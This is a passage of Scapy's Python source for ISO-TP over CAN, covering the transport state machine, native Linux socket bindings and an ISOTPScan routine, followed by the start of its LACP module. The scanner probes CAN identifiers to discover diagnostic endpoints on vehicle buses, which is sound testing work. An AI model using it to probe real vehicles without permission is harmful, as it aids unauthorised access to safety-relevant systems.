self.can_socket.send(CAN(identifier=self.src_id, data=load)) else: self.can_socket.send(CAN(identifier=self.src_id, flags="extended", data=load)) def on_can_recv(self, p): if not isinstance(p, CAN): raise Scapy_Exception("argument is not a CAN frame") if p.identifier != self.dst_id: if not self.filter_warning_emitted and conf.verb >= 2: warning("You should put a filter for identifier=%x on your " "CAN socket" % self.dst_id) self.filter_warning_emitted = True else: self.on_recv(p) def close(self): self.rx_thread.stop() def _rx_timer_handler(self): """Method called every time the rx_timer times out, due to the peer not sending a consecutive frame within the expected time window""" with self.rx_mutex: if self.rx_state == ISOTP_WAIT_DATA: # we did not get new data frames in time. # reset rx state self.rx_state = ISOTP_IDLE if conf.verb > 2: warning("RX state was reset due to timeout") def _tx_timer_handler(self): """Method called every time the tx_timer times out, which can happen in two situations: either a Flow Control frame was not received in time, or the Separation Time Min is expired and a new frame must be sent.""" with self.tx_mutex: if (self.tx_state == ISOTP_WAIT_FC or self.tx_state == ISOTP_WAIT_FIRST_FC): # we did not get any flow control frame in time # reset tx state self.tx_state = ISOTP_IDLE self.tx_exception = "TX state was reset due to timeout" self.tx_done.set() raise Scapy_Exception(self.tx_exception) elif self.tx_state == ISOTP_SENDING: # push out the next segmented pdu src_off = len(self.ea_hdr) max_bytes = 7 - src_off while 1: load = self.ea_hdr load += struct.pack("B", N_PCI_CF + self.tx_sn) load += self.tx_buf[self.tx_idx:self.tx_idx + max_bytes] self.can_send(load) self.tx_sn = (self.tx_sn + 1) % 16 self.tx_bs += 1 self.tx_idx += max_bytes if len(self.tx_buf) <= self.tx_idx: # we are done self.tx_state = ISOTP_IDLE self.tx_done.set() for cb in self.tx_callbacks: cb() return if self.txfc_bs != 0 and self.tx_bs >= self.txfc_bs: # stop and wait for FC self.tx_state = ISOTP_WAIT_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) return if self.tx_gap == 0: continue else: self.tx_timeout_handle = TimeoutScheduler.schedule( self.tx_gap, self._tx_timer_handler) def on_recv(self, cf): """Function that must be called every time a CAN frame is received, to advance the state machine.""" data = bytes(cf.data) if len(data) < 2: return ae = 0 if self.extended_rx_addr is not None: ae = 1 if len(data) < 3: return if six.indexbytes(data, 0) != self.extended_rx_addr: return n_pci = six.indexbytes(data, ae) & 0xf0 if n_pci == N_PCI_FC: with self.tx_mutex: self._recv_fc(data[ae:]) elif n_pci == N_PCI_SF: with self.rx_mutex: self._recv_sf(data[ae:]) elif n_pci == N_PCI_FF: with self.rx_mutex: self._recv_ff(data[ae:]) elif n_pci == N_PCI_CF: with self.rx_mutex: self._recv_cf(data[ae:]) def _recv_fc(self, data): """Process a received 'Flow Control' frame""" if (self.tx_state != ISOTP_WAIT_FC and self.tx_state != ISOTP_WAIT_FIRST_FC): return 0 if self.tx_timeout_handle is not None: self.tx_timeout_handle.cancel() self.tx_timeout_handle = None if len(data) < 3: self.tx_state = ISOTP_IDLE self.tx_exception = "CF frame discarded because it was too short" self.tx_done.set() raise Scapy_Exception(self.tx_exception) # get communication parameters only from the first FC frame if self.tx_state == ISOTP_WAIT_FIRST_FC: self.txfc_bs = six.indexbytes(data, 1) self.txfc_stmin = six.indexbytes(data, 2) if ((self.txfc_stmin > 0x7F) and ((self.txfc_stmin < 0xF1) or (self.txfc_stmin > 0xF9))): self.txfc_stmin = 0x7F if six.indexbytes(data, 2) <= 127: tx_gap = six.indexbytes(data, 2) / 1000.0 elif 0xf1 <= six.indexbytes(data, 2) <= 0xf9: tx_gap = (six.indexbytes(data, 2) & 0x0f) / 10000.0 else: tx_gap = 0 self.tx_gap = tx_gap self.tx_state = ISOTP_WAIT_FC isotp_fc = six.indexbytes(data, 0) & 0x0f if isotp_fc == ISOTP_FC_CTS: self.tx_bs = 0 self.tx_state = ISOTP_SENDING # start cyclic timer for sending CF frame self.tx_timeout_handle = TimeoutScheduler.schedule( self.tx_gap, self._tx_timer_handler) elif isotp_fc == ISOTP_FC_WT: # start timer to wait for next FC frame self.tx_state = ISOTP_WAIT_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) elif isotp_fc == ISOTP_FC_OVFLW: # overflow in receiver side self.tx_state = ISOTP_IDLE self.tx_exception = "Overflow happened at the receiver side" self.tx_done.set() raise Scapy_Exception(self.tx_exception) else: self.tx_state = ISOTP_IDLE self.tx_exception = "Unknown FC frame type" self.tx_done.set() raise Scapy_Exception(self.tx_exception) return 0 def _recv_sf(self, data): """Process a received 'Single Frame' frame""" if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None if self.rx_state != ISOTP_IDLE: if conf.verb > 2: warning("RX state was reset because single frame was received") self.rx_state = ISOTP_IDLE length = six.indexbytes(data, 0) & 0xf if len(data) - 1 < length: return 1 msg = data[1:1 + length] self.rx_queue.put(msg) for cb in self.rx_callbacks: cb(msg) self.call_release() return 0 def _recv_ff(self, data): """Process a received 'First Frame' frame""" if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None if self.rx_state != ISOTP_IDLE: if conf.verb > 2: warning("RX state was reset because first frame was received") self.rx_state = ISOTP_IDLE if len(data) < 7: return 1 self.rx_ll_dl = len(data) # get the FF_DL self.rx_len = (six.indexbytes(data, 0) & 0x0f) * 256 + six.indexbytes( data, 1) ff_pci_sz = 2 # Check for FF_DL escape sequence supporting 32 bit PDU length if self.rx_len == 0: # FF_DL = 0 => get real length from next 4 bytes self.rx_len = six.indexbytes(data, 2) << 24 self.rx_len += six.indexbytes(data, 3) << 16 self.rx_len += six.indexbytes(data, 4) << 8 self.rx_len += six.indexbytes(data, 5) ff_pci_sz = 6 # copy the first received data bytes data_bytes = data[ff_pci_sz:] self.rx_idx = len(data_bytes) self.rx_buf = data_bytes # initial setup for this pdu reception self.rx_sn = 1 self.rx_state = ISOTP_WAIT_DATA # no creation of flow control frames if not self.listen_only: # send our first FC frame load = self.ea_hdr load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin) self.can_send(load) # wait for a CF self.rx_bs = 0 self.rx_timeout_handle = TimeoutScheduler.schedule( self.cf_timeout, self._rx_timer_handler) return 0 def _recv_cf(self, data): """Process a received 'Consecutive Frame' frame""" if self.rx_state != ISOTP_WAIT_DATA: return 0 if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None # CFs are never longer than the FF if len(data) > self.rx_ll_dl: return 1 # CFs have usually the LL_DL length if len(data) < self.rx_ll_dl: # this is only allowed for the last CF if self.rx_len - self.rx_idx > self.rx_ll_dl: if conf.verb > 2: warning("Received a CF with insufficient length") return 1 if six.indexbytes(data, 0) & 0x0f != self.rx_sn: # Wrong sequence number if conf.verb > 2: warning("RX state was reset because wrong sequence number was " "received") self.rx_state = ISOTP_IDLE return 1 self.rx_sn = (self.rx_sn + 1) % 16 self.rx_buf += data[1:] self.rx_idx = len(self.rx_buf) if self.rx_idx >= self.rx_len: # we are done self.rx_buf = self.rx_buf[0:self.rx_len] self.rx_state = ISOTP_IDLE self.rx_queue.put(self.rx_buf) for cb in self.rx_callbacks: cb(self.rx_buf) self.call_release() self.rx_buf = None return 0 # perform blocksize handling, if enabled if self.rxfc_bs != 0: self.rx_bs += 1 # check if we reached the end of the block if self.rx_bs >= self.rxfc_bs and not self.listen_only: # send our FC frame load = self.ea_hdr load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin) self.can_send(load) # wait for another CF self.rx_timeout_handle = TimeoutScheduler.schedule( self.cf_timeout, self._rx_timer_handler) return 0 def begin_send(self, x): """Begins sending an ISOTP message. This method does not block.""" with self.tx_mutex: if self.tx_state != ISOTP_IDLE: raise Scapy_Exception("Socket is already sending, retry later") self.tx_done.clear() self.tx_exception = None self.tx_state = ISOTP_SENDING length = len(x) if length > ISOTP_MAX_DLEN_2015: raise Scapy_Exception("Too much data for ISOTP message") if len(self.ea_hdr) + length <= 7: # send a single frame data = self.ea_hdr data += struct.pack("B", length) data += x self.tx_state = ISOTP_IDLE self.can_send(data) self.tx_done.set() for cb in self.tx_callbacks: cb() return # send the first frame data = self.ea_hdr if length > ISOTP_MAX_DLEN: data += struct.pack(">HI", 0x1000, length) else: data += struct.pack(">H", 0x1000 | length) load = x[0:8 - len(data)] data += load self.can_send(data) self.tx_buf = x self.tx_sn = 1 self.tx_bs = 0 self.tx_idx = len(load) self.tx_state = ISOTP_WAIT_FIRST_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) def send(self, p): """Send an ISOTP frame and block until the message is sent or an error happens.""" with self.send_mutex: self.begin_send(p) # Wait until the tx callback is called send_done = self.tx_done.wait(30) if self.tx_exception is not None: raise Scapy_Exception(self.tx_exception) if not send_done: raise Scapy_Exception("ISOTP send not completed in 30s") return def recv(self, timeout=None): """Receive an ISOTP frame, blocking if none is available in the buffer for at most 'timeout' seconds.""" try: return self.rx_queue.get(timeout is None or timeout > 0, timeout) except queue.Empty: return None def check_recv(self): """Implementation for SelectableObject""" return not self.rx_queue.empty() if six.PY3 and LINUX: from scapy.arch.linux import get_last_packet_timestamp, SIOCGIFINDEX """ISOTPNativeSocket definitions:""" CAN_ISOTP = 6 # ISO 15765-2 Transport Protocol SOL_CAN_BASE = 100 # from can.h SOL_CAN_ISOTP = SOL_CAN_BASE + CAN_ISOTP # /* for socket options affecting the socket (not the global system) */ CAN_ISOTP_OPTS = 1 # /* pass struct can_isotp_options */ CAN_ISOTP_RECV_FC = 2 # /* pass struct can_isotp_fc_options */ # /* sockopts to force stmin timer values for protocol regression tests */ CAN_ISOTP_TX_STMIN = 3 # /* pass __u32 value in nano secs */ CAN_ISOTP_RX_STMIN = 4 # /* pass __u32 value in nano secs */ CAN_ISOTP_LL_OPTS = 5 # /* pass struct can_isotp_ll_options */ CAN_ISOTP_LISTEN_MODE = 0x001 # /* listen only (do not send FC) */ CAN_ISOTP_EXTEND_ADDR = 0x002 # /* enable extended addressing */ CAN_ISOTP_TX_PADDING = 0x004 # /* enable CAN frame padding tx path */ CAN_ISOTP_RX_PADDING = 0x008 # /* enable CAN frame padding rx path */ CAN_ISOTP_CHK_PAD_LEN = 0x010 # /* check received CAN frame padding */ CAN_ISOTP_CHK_PAD_DATA = 0x020 # /* check received CAN frame padding */ CAN_ISOTP_HALF_DUPLEX = 0x040 # /* half duplex error state handling */ CAN_ISOTP_FORCE_TXSTMIN = 0x080 # /* ignore stmin from received FC */ CAN_ISOTP_FORCE_RXSTMIN = 0x100 # /* ignore CFs depending on rx stmin */ CAN_ISOTP_RX_EXT_ADDR = 0x200 # /* different rx extended addressing */ # /* default values */ CAN_ISOTP_DEFAULT_FLAGS = 0 CAN_ISOTP_DEFAULT_EXT_ADDRESS = 0x00 CAN_ISOTP_DEFAULT_PAD_CONTENT = 0xCC # /* prevent bit-stuffing */ CAN_ISOTP_DEFAULT_FRAME_TXTIME = 0 CAN_ISOTP_DEFAULT_RECV_BS = 0 CAN_ISOTP_DEFAULT_RECV_STMIN = 0x00 CAN_ISOTP_DEFAULT_RECV_WFTMAX = 0 CAN_ISOTP_DEFAULT_LL_MTU = CAN_MTU CAN_ISOTP_DEFAULT_LL_TX_DL = CAN_MAX_DLEN CAN_ISOTP_DEFAULT_LL_TX_FLAGS = 0 class SOCKADDR(ctypes.Structure): # See /usr/include/i386-linux-gnu/bits/socket.h for original struct _fields_ = [("sa_family", ctypes.c_uint16), ("sa_data", ctypes.c_char * 14)] class TP(ctypes.Structure): # This struct is only used within the SOCKADDR_CAN struct _fields_ = [("rx_id", ctypes.c_uint32), ("tx_id", ctypes.c_uint32)] class ADDR_INFO(ctypes.Union): # This struct is only used within the SOCKADDR_CAN struct # This union is to future proof for future can address information _fields_ = [("tp", TP)] class SOCKADDR_CAN(ctypes.Structure): # See /usr/include/linux/can.h for original struct _fields_ = [("can_family", ctypes.c_uint16), ("can_ifindex", ctypes.c_int), ("can_addr", ADDR_INFO)] class IFREQ(ctypes.Structure): # The two fields in this struct were originally unions. # See /usr/include/net/if.h for original struct _fields_ = [("ifr_name", ctypes.c_char * 16), ("ifr_ifindex", ctypes.c_int)] class ISOTPNativeSocket(SuperSocket): desc = "read/write packets at a given CAN interface using CAN_ISOTP " \ "socket " can_isotp_options_fmt = "@2I4B" can_isotp_fc_options_fmt = "@3B" can_isotp_ll_options_fmt = "@3B" sockaddr_can_fmt = "@H3I" auxdata_available = True def __build_can_isotp_options( self, flags=CAN_ISOTP_DEFAULT_FLAGS, frame_txtime=0, ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS, txpad_content=0, rxpad_content=0, rx_ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS): return struct.pack(self.can_isotp_options_fmt, flags, frame_txtime, ext_address, txpad_content, rxpad_content, rx_ext_address) # == Must use native not standard types for packing == # struct can_isotp_options { # __u32 flags; /* set flags for isotp behaviour. */ # /* __u32 value : flags see below */ # # __u32 frame_txtime; /* frame transmission time (N_As/N_Ar) */ # /* __u32 value : time in nano secs */ # # __u8 ext_address; /* set address for extended addressing */ # /* __u8 value : extended address */ # # __u8 txpad_content; /* set content of padding byte (tx) */ # /* __u8 value : content on tx path */ # # __u8 rxpad_content; /* set content of padding byte (rx) */ # /* __u8 value : content on rx path */ # # __u8 rx_ext_address; /* set address for extended addressing */ # /* __u8 value : extended address (rx) */ # }; def __build_can_isotp_fc_options(self, bs=CAN_ISOTP_DEFAULT_RECV_BS, stmin=CAN_ISOTP_DEFAULT_RECV_STMIN, wftmax=CAN_ISOTP_DEFAULT_RECV_WFTMAX): return struct.pack(self.can_isotp_fc_options_fmt, bs, stmin, wftmax) # == Must use native not standard types for packing == # struct can_isotp_fc_options { # # __u8 bs; /* blocksize provided in FC frame */ # /* __u8 value : blocksize. 0 = off */ # # __u8 stmin; /* separation time provided in FC frame */ # /* __u8 value : */ # /* 0x00 - 0x7F : 0 - 127 ms */ # /* 0x80 - 0xF0 : reserved */ # /* 0xF1 - 0xF9 : 100 us - 900 us */ # /* 0xFA - 0xFF : reserved */ # # __u8 wftmax; /* max. number of wait frame transmiss. */ # /* __u8 value : 0 = omit FC N_PDU WT */ # }; def __build_can_isotp_ll_options(self, mtu=CAN_ISOTP_DEFAULT_LL_MTU, tx_dl=CAN_ISOTP_DEFAULT_LL_TX_DL, tx_flags=CAN_ISOTP_DEFAULT_LL_TX_FLAGS ): return struct.pack(self.can_isotp_ll_options_fmt, mtu, tx_dl, tx_flags) # == Must use native not standard types for packing == # struct can_isotp_ll_options { # # __u8 mtu; /* generated & accepted CAN frame type */ # /* __u8 value : */ # /* CAN_MTU (16) -> standard CAN 2.0 */ # /* CANFD_MTU (72) -> CAN FD frame */ # # __u8 tx_dl; /* tx link layer data length in bytes */ # /* (configured maximum payload length) */ # /* __u8 value : 8,12,16,20,24,32,48,64 */ # /* => rx path supports all LL_DL values */ # # __u8 tx_flags; /* set into struct canfd_frame.flags */ # /* at frame creation: e.g. CANFD_BRS */ # /* Obsolete when the BRS flag is fixed */ # /* by the CAN netdriver configuration */ # }; def __get_sock_ifreq(self, sock, iface): socket_id = ctypes.c_int(sock.fileno()) ifr = IFREQ() ifr.ifr_name = iface.encode('ascii') ret = LIBC.ioctl(socket_id, SIOCGIFINDEX, ctypes.byref(ifr)) if ret < 0: m = u'Failure while getting "{}" interface index.'.format( iface) raise Scapy_Exception(m) return ifr def __bind_socket(self, sock, iface, sid, did): socket_id = ctypes.c_int(sock.fileno()) ifr = self.__get_sock_ifreq(sock, iface) if sid > 0x7ff: sid = sid | socket.CAN_EFF_FLAG if did > 0x7ff: did = did | socket.CAN_EFF_FLAG # select the CAN interface and bind the socket to it addr = SOCKADDR_CAN(ctypes.c_uint16(socket.PF_CAN), ifr.ifr_ifindex, ADDR_INFO(TP(ctypes.c_uint32(did), ctypes.c_uint32(sid)))) error = LIBC.bind(socket_id, ctypes.byref(addr), ctypes.sizeof(addr)) if error < 0: warning("Couldn't bind socket") def __set_option_flags(self, sock, extended_addr=None, extended_rx_addr=None, listen_only=False, padding=False, transmit_time=100): option_flags = CAN_ISOTP_DEFAULT_FLAGS if extended_addr is not None: option_flags = option_flags | CAN_ISOTP_EXTEND_ADDR else: extended_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if extended_rx_addr is not None: option_flags = option_flags | CAN_ISOTP_RX_EXT_ADDR else: extended_rx_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if listen_only: option_flags = option_flags | CAN_ISOTP_LISTEN_MODE if padding: option_flags = option_flags | CAN_ISOTP_TX_PADDING \ | CAN_ISOTP_RX_PADDING sock.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_OPTS, self.__build_can_isotp_options( frame_txtime=transmit_time, flags=option_flags, ext_address=extended_addr, rx_ext_address=extended_rx_addr)) def __init__(self, iface=None, sid=0, did=0, extended_addr=None, extended_rx_addr=None, listen_only=False, padding=False, transmit_time=100, basecls=ISOTP): if not isinstance(iface, six.string_types): if hasattr(iface, "ins") and hasattr(iface.ins, "getsockname"): iface = iface.ins.getsockname() if isinstance(iface, tuple): iface = iface[0] else: raise Scapy_Exception("Provide a string or a CANSocket " "object as iface parameter") self.iface = iface or conf.contribs['NativeCANSocket']['iface'] self.can_socket = socket.socket(socket.PF_CAN, socket.SOCK_DGRAM, CAN_ISOTP) self.__set_option_flags(self.can_socket, extended_addr, extended_rx_addr, listen_only, padding, transmit_time) self.src = sid self.dst = did self.exsrc = extended_addr self.exdst = extended_rx_addr self.can_socket.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_RECV_FC, self.__build_can_isotp_fc_options()) self.can_socket.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_LL_OPTS, self.__build_can_isotp_ll_options()) self.can_socket.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.__bind_socket(self.can_socket, self.iface, sid, did) self.ins = self.can_socket self.outs = self.can_socket if basecls is None: warning('Provide a basecls ') self.basecls = basecls def recv_raw(self, x=0xffff): """ Receives a packet, then returns a tuple containing (cls, pkt_data, time) """ # noqa: E501 try: pkt, _, ts = self._recv_raw(self.ins, x) except BlockingIOError: # noqa: F821 warning('Captured no data, socket in non-blocking mode.') return None except socket.timeout: warning('Captured no data, socket read timed out.') return None except OSError: # something bad happened (e.g. the interface went down) warning("Captured no data.") return None if ts is None: ts = get_last_packet_timestamp(self.ins) return self.basecls, pkt, ts def recv(self, x=0xffff): msg = SuperSocket.recv(self, x) if hasattr(msg, "src"): msg.src = self.src if hasattr(msg, "dst"): msg.dst = self.dst if hasattr(msg, "exsrc"): msg.exsrc = self.exsrc if hasattr(msg, "exdst"): msg.exdst = self.exdst return msg __all__.append("ISOTPNativeSocket") if USE_CAN_ISOTP_KERNEL_MODULE: ISOTPSocket = ISOTPNativeSocket # ################################################################### # #################### ISOTPSCAN #################################### # ################################################################### def send_multiple_ext(sock, ext_id, packet, number_of_packets): """ Send multiple packets with extended addresses at once Args: sock: socket for can interface ext_id: extended id. First id to send. packet: packet to send number_of_packets: number of packets send This function is used for scanning with extended addresses. It sends multiple packets at once. The number of packets is defined in the number_of_packets variable. It only iterates the extended ID, NOT the actual ID of the packet. This method is used in extended scan function. """ end_id = min(ext_id + number_of_packets, 255) for i in range(ext_id, end_id + 1): packet.extended_address = i sock.send(packet) def get_isotp_packet(identifier=0x0, extended=False, extended_can_id=False): """ Craft ISO TP packet Args: identifier: identifier of crafted packet extended: boolean if packet uses extended address extended_can_id: boolean if CAN should use extended Ids """ if extended: pkt = ISOTPHeaderEA() / ISOTP_FF() pkt.extended_address = 0 pkt.data = b'\x00\x00\x00\x00\x00' else: pkt = ISOTPHeader() / ISOTP_FF() pkt.data = b'\x00\x00\x00\x00\x00\x00' if extended_can_id: pkt.flags = "extended" pkt.identifier = identifier pkt.message_size = 100 return pkt def filter_periodic_packets(packet_dict, verbose=False): """ Filter for periodic packets Args: packet_dict: Dictionary with Send-to-ID as key and a tuple (received packet, Recv_ID) verbose: Displays further information ISOTP-Filter for periodic packets (same ID, always same timegap) Deletes periodic packets in packet_dict """ filter_dict = {} for key, value in packet_dict.items(): pkt = value[0] idn = value[1] if idn not in filter_dict: filter_dict[idn] = ([key], [pkt]) else: key_lst, pkt_lst = filter_dict[idn] filter_dict[idn] = (key_lst + [key], pkt_lst + [pkt]) for idn in filter_dict: key_lst = filter_dict[idn][0] pkt_lst = filter_dict[idn][1] if len(pkt_lst) < 3: continue tg = [p1.time - p2.time for p1, p2 in zip(pkt_lst[1:], pkt_lst[:-1])] if all(abs(t1 - t2) < 0.001 for t1, t2 in zip(tg[1:], tg[:-1])): if verbose: print("[i] Identifier 0x%03x seems to be periodic. " "Filtered.") for k in key_lst: del packet_dict[k] def get_isotp_fc(id_value, id_list, noise_ids, extended, packet, verbose=False): """Callback for sniff function when packet received Args: id_value: packet id of send packet id_list: list of received IDs noise_ids: list of packet IDs which will not be considered when received during scan extended: boolean if extended scan packet: received packet verbose: displays information during scan If received packet is a FlowControl and not in noise_ids append it to id_list """ if packet.flags and packet.flags != "extended": return if noise_ids is not None and packet.identifier in noise_ids: return try: index = 1 if extended else 0 isotp_pci = orb(packet.data[index]) >> 4 isotp_fc = orb(packet.data[index]) & 0x0f if isotp_pci == 3 and 0 <= isotp_fc <= 2: if verbose: print("[+] Found flow-control frame from identifier 0x%03x" " when testing identifier 0x%03x" % (packet.identifier, id_value)) if isinstance(id_list, dict): id_list[id_value] = (packet, packet.identifier) elif isinstance(id_list, list): id_list.append(id_value) else: raise TypeError("Unknown type of id_list") else: noise_ids.append(packet.identifier) except Exception as e: print("[!] Unknown message Exception: %s on packet: %s" % (e, repr(packet))) def scan(sock, scan_range=range(0x800), noise_ids=None, sniff_time=0.1, extended_can_id=False, verbose=False): """Scan and return dictionary of detections Args: sock: socket for can interface scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff noise_ids: list of packet IDs which will not be considered when received during scan sniff_time: time the scan waits for isotp flow control responses after sending a first frame extended_can_id: Send extended can frames verbose: displays information during scan ISOTP-Scan - NO extended IDs found_packets = Dictionary with Send-to-ID as key and a tuple (received packet, Recv_ID) """ return_values = dict() for value in scan_range: sock.sniff(prn=lambda pkt: get_isotp_fc(value, return_values, noise_ids, False, pkt, verbose), timeout=sniff_time, started_callback=lambda: sock.send( get_isotp_packet(value, False, extended_can_id))) cleaned_ret_val = dict() for tested_id in return_values.keys(): for value in range(max(0, tested_id - 2), tested_id + 2, 1): sock.sniff(prn=lambda pkt: get_isotp_fc(value, cleaned_ret_val, noise_ids, False, pkt, verbose), timeout=sniff_time * 10, started_callback=lambda: sock.send( get_isotp_packet(value, False, extended_can_id))) return cleaned_ret_val def scan_extended(sock, scan_range=range(0x800), scan_block_size=32, extended_scan_range=range(0x100), noise_ids=None, sniff_time=0.1, extended_can_id=False, verbose=False): """Scan with ISOTP extended addresses and return dictionary of detections Args: sock: socket for can interface scan_range: hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff scan_block_size: count of packets send at once extended_scan_range: range to search for extended ISOTP addresses noise_ids: list of packet IDs which will not be considered when received during scan sniff_time: time the scan waits for isotp flow control responses after sending a first frame extended_can_id: Send extended can frames verbose: displays information during scan If an answer-packet found -> slow scan with single packages with extended ID 0 - 255 found_packets = Dictionary with Send-to-ID as key and a tuple (received packet, Recv_ID) """ return_values = dict() scan_block_size = scan_block_size or 1 for value in scan_range: pkt = get_isotp_packet(value, extended=True, extended_can_id=extended_can_id) id_list = [] r = list(extended_scan_range) for ext_isotp_id in range(r[0], r[-1], scan_block_size): sock.sniff(prn=lambda p: get_isotp_fc(ext_isotp_id, id_list, noise_ids, True, p, verbose), timeout=sniff_time * 3, started_callback=lambda: send_multiple_ext( sock, ext_isotp_id, pkt, scan_block_size)) # sleep to prevent flooding time.sleep(sniff_time) # remove duplicate IDs id_list = list(set(id_list)) for ext_isotp_id in id_list: for ext_id in range(max(ext_isotp_id - 2, 0), min(ext_isotp_id + scan_block_size + 2, 256)): pkt.extended_address = ext_id full_id = (value << 8) + ext_id sock.sniff(prn=lambda pkt: get_isotp_fc(full_id, return_values, noise_ids, True, pkt, verbose), timeout=sniff_time * 2, started_callback=lambda: sock.send(pkt)) return return_values def ISOTPScan(sock, scan_range=range(0x7ff + 1), extended_addressing=False, extended_scan_range=range(0x100), noise_listen_time=2, sniff_time=0.1, output_format=None, can_interface=None, extended_can_id=False, verbose=False): """Scan for ISOTP Sockets on a bus and return findings Args: sock: CANSocket object to communicate with the bus under scan scan_range: hexadecimal range of CAN-Identifiers to scan. Default is 0x0 - 0x7ff extended_addressing: scan with ISOTP extended addressing extended_scan_range: range for ISOTP extended addressing values noise_listen_time: seconds to listen for default communication on the bus sniff_time: time the scan waits for isotp flow control responses after sending a first frame output_format: defines the format of the returned results (text, code or sockets). Provide a string e.g. "text". Default is "socket". can_interface: interface used to create the returned code/sockets extended_can_id: Use Extended CAN-Frames verbose: displays information during scan Scan for ISOTP Sockets in the defined range and returns found sockets in a specified format. The format can be: - text: human readable output - code: python code for copy&paste - sockets: if output format is not specified, ISOTPSockets will be created and returned in a list """ if verbose: print("Filtering background noise...") # Send dummy packet. In most cases, this triggers activity on the bus. dummy_pkt = CAN(identifier=0x123, data=b'\xaa\xbb\xcc\xdd\xee\xff\xaa\xbb') background_pkts = sock.sniff(timeout=noise_listen_time, started_callback=lambda: sock.send(dummy_pkt)) noise_ids = list(set(pkt.identifier for pkt in background_pkts)) if extended_addressing: found_packets = scan_extended(sock, scan_range, extended_scan_range=extended_scan_range, noise_ids=noise_ids, sniff_time=sniff_time, extended_can_id=extended_can_id, verbose=verbose) else: found_packets = scan(sock, scan_range, noise_ids=noise_ids, sniff_time=sniff_time, extended_can_id=extended_can_id, verbose=verbose) filter_periodic_packets(found_packets, verbose) if output_format == "text": return generate_text_output(found_packets, extended_addressing) if output_format == "code": return generate_code_output(found_packets, can_interface, extended_addressing) if can_interface is None: can_interface = sock return generate_isotp_list(found_packets, can_interface, extended_addressing) def generate_text_output(found_packets, extended_addressing=False): """Generate a human readable output from the result of the `scan` or the `scan_extended` function. Args: found_packets: result of the `scan` or `scan_extended` function extended_addressing: print results from a scan with ISOTP extended addressing """ if not found_packets: return "No packets found." text = "\nFound %s ISOTP-FlowControl Packet(s):" % len(found_packets) for pack in found_packets: if extended_addressing: send_id = pack // 256 send_ext = pack - (send_id * 256) ext_id = hex(orb(found_packets[pack][0].data[0])) text += "\nSend to ID: %s" \ "\nSend to extended ID: %s" \ "\nReceived ID: %s" \ "\nReceived extended ID: %s" \ "\nMessage: %s" % \ (hex(send_id), hex(send_ext), hex(found_packets[pack][0].identifier), ext_id, repr(found_packets[pack][0])) else: text += "\nSend to ID: %s" \ "\nReceived ID: %s" \ "\nMessage: %s" % \ (hex(pack), hex(found_packets[pack][0].identifier), repr(found_packets[pack][0])) padding = found_packets[pack][0].length == 8 if padding: text += "\nPadding enabled" else: text += "\nNo Padding" text += "\n" return text def generate_code_output(found_packets, can_interface, extended_addressing=False): """Generate a copy&past-able output from the result of the `scan` or the `scan_extended` function. Args: found_packets: result of the `scan` or `scan_extended` function can_interface: description string for a CAN interface to be used for the creation of the output. extended_addressing: print results from a scan with ISOTP extended addressing """ result = "" if not found_packets: return result header = "\n\nimport can\n" \ "conf.contribs['CANSocket'] = {'use-python-can': %s}\n" \ "load_contrib('cansocket')\n" \ "load_contrib('isotp')\n\n" % PYTHON_CAN for pack in found_packets: if extended_addressing: send_id = pack // 256 send_ext = pack - (send_id * 256) ext_id = orb(found_packets[pack][0].data[0]) result += "ISOTPSocket(%s, sid=0x%x, did=0x%x, padding=%s, " \ "extended_addr=0x%x, extended_rx_addr=0x%x, " \ "basecls=ISOTP)\n" % \ (can_interface, send_id, int(found_packets[pack][0].identifier), found_packets[pack][0].length == 8, send_ext, ext_id) else: result += "ISOTPSocket(%s, sid=0x%x, did=0x%x, padding=%s, " \ "basecls=ISOTP)\n" % \ (can_interface, pack, int(found_packets[pack][0].identifier), found_packets[pack][0].length == 8) return header + result def generate_isotp_list(found_packets, can_interface, extended_addressing=False): """Generate a list of ISOTPSocket objects from the result of the `scan` or the `scan_extended` function. Args: found_packets: result of the `scan` or `scan_extended` function can_interface: description string for a CAN interface to be used for the creation of the output. extended_addressing: print results from a scan with ISOTP extended addressing """ socket_list = [] for pack in found_packets: pkt = found_packets[pack][0] dest_id = pkt.identifier pad = True if pkt.length == 8 else False if extended_addressing: source_id = pack >> 8 source_ext = int(pack - (source_id * 256)) dest_ext = orb(pkt.data[0]) socket_list.append(ISOTPSocket(can_interface, sid=source_id, extended_addr=source_ext, did=dest_id, extended_rx_addr=dest_ext, padding=pad, basecls=ISOTP)) else: source_id = pack socket_list.append(ISOTPSocket(can_interface, sid=source_id, did=dest_id, padding=pad, basecls=ISOTP)) return socket_list scapy-2.4.4/scapy/contrib/lacp.py000066400000000000000000000064631372370053500167260ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Link Aggregation Control Protocol (LACP) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, MACField, ShortField, ByteEnumField, IntField, XStrFixedLenField # noqa: E501 from scapy.layers.l2 import Ether from scapy.data import ETHER_TYPES ETHER_TYPES[0x8809] = 'SlowProtocol' SLOW_SUB_TYPES = { 